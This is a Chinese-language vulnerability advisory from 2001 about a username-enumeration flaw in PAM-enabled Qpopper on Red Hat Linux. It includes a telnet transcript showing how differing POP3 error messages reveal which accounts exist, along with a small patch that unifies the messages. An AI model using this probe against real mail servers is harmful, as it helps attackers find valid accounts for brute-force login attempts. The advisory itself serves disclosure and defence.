安全研究

安全漏洞
Red Hat PAM qpopper 列举用户名漏洞

发布日期:2001-08-31
更新日期:2001-08-31

受影响系统:
Qualcomm qpopper 4.0.1
   - RedHat Linux 7.1
   - RedHat Linux 7.0
描述:
BUGTRAQ  ID:3242

Qpopper是一款UNIX平台下广泛使用的POP守护程序。

发现运行在RedHat平台下的支持PAM的Qpopper存在列举有效用户名的漏洞,这是由于
PAM认证模块对有效的用户名和无效的用户名输出不同错误信息造成的。

这可能导致远程攻击者进行穷举攻击。

<*来源:Charles Chear (presto@tpgn[.]net)*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Charles Chear (presto@tpgn[.]net)提供了如下测试代码:

对已存在的帐号:

[root@bart /etc]# telnet 10.10.10.1 110
Trying 10.10.10.1...
Connected to 10.10.10.1.
Escape character is '^]'.
+OK ready  <22975.998689264@target.host>
user validuser
+OK Password required for validuser.
pass valid
-ERR [AUTH] PAM authentication failed for user "validuser": Authentication
failure (7)
+OK Pop server at target.host signing off.
Connection closed by foreign host.



对不存在的帐号:


[root@bart /etc]# telnet 10.10.10.1 110
Trying 10.10.10.1...
Connected to 10.10.10.1.
Escape character is '^]'.
+OK ready  <22984.998689464@target.host>
user fakeuser
+OK Password required for fakeuser.
pass fakeeeee
-ERR [AUTH] Password supplied for "fakeuser" is incorrect.
+OK Pop server at target.host signing off.
Connection closed by foreign host.

建议:
Ron Bradburn <ron@dialtone.com>提供了下列临时补丁代码:

--- popper/pop_pass.c.orig Sat Aug 25 19:05:41 2001
+++ popper/pop_pass.c Sat Aug 25 19:06:58 2001
@@ -368,7 +368,7 @@
  */
static int   gp_errcode   = 0;
static char *GP_ERRSTRING =
-            "[AUTH] PAM authentication failed for user \"%.100s\": %.128s (%d)";
+            "[AUTH] Password supplied for \"%.100s\" is incorrect.";

static int
PAM_qpopper_conv ( int                        num_msg,


厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.eudora.com/freeware/qpop.html

浏览次数:5457
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障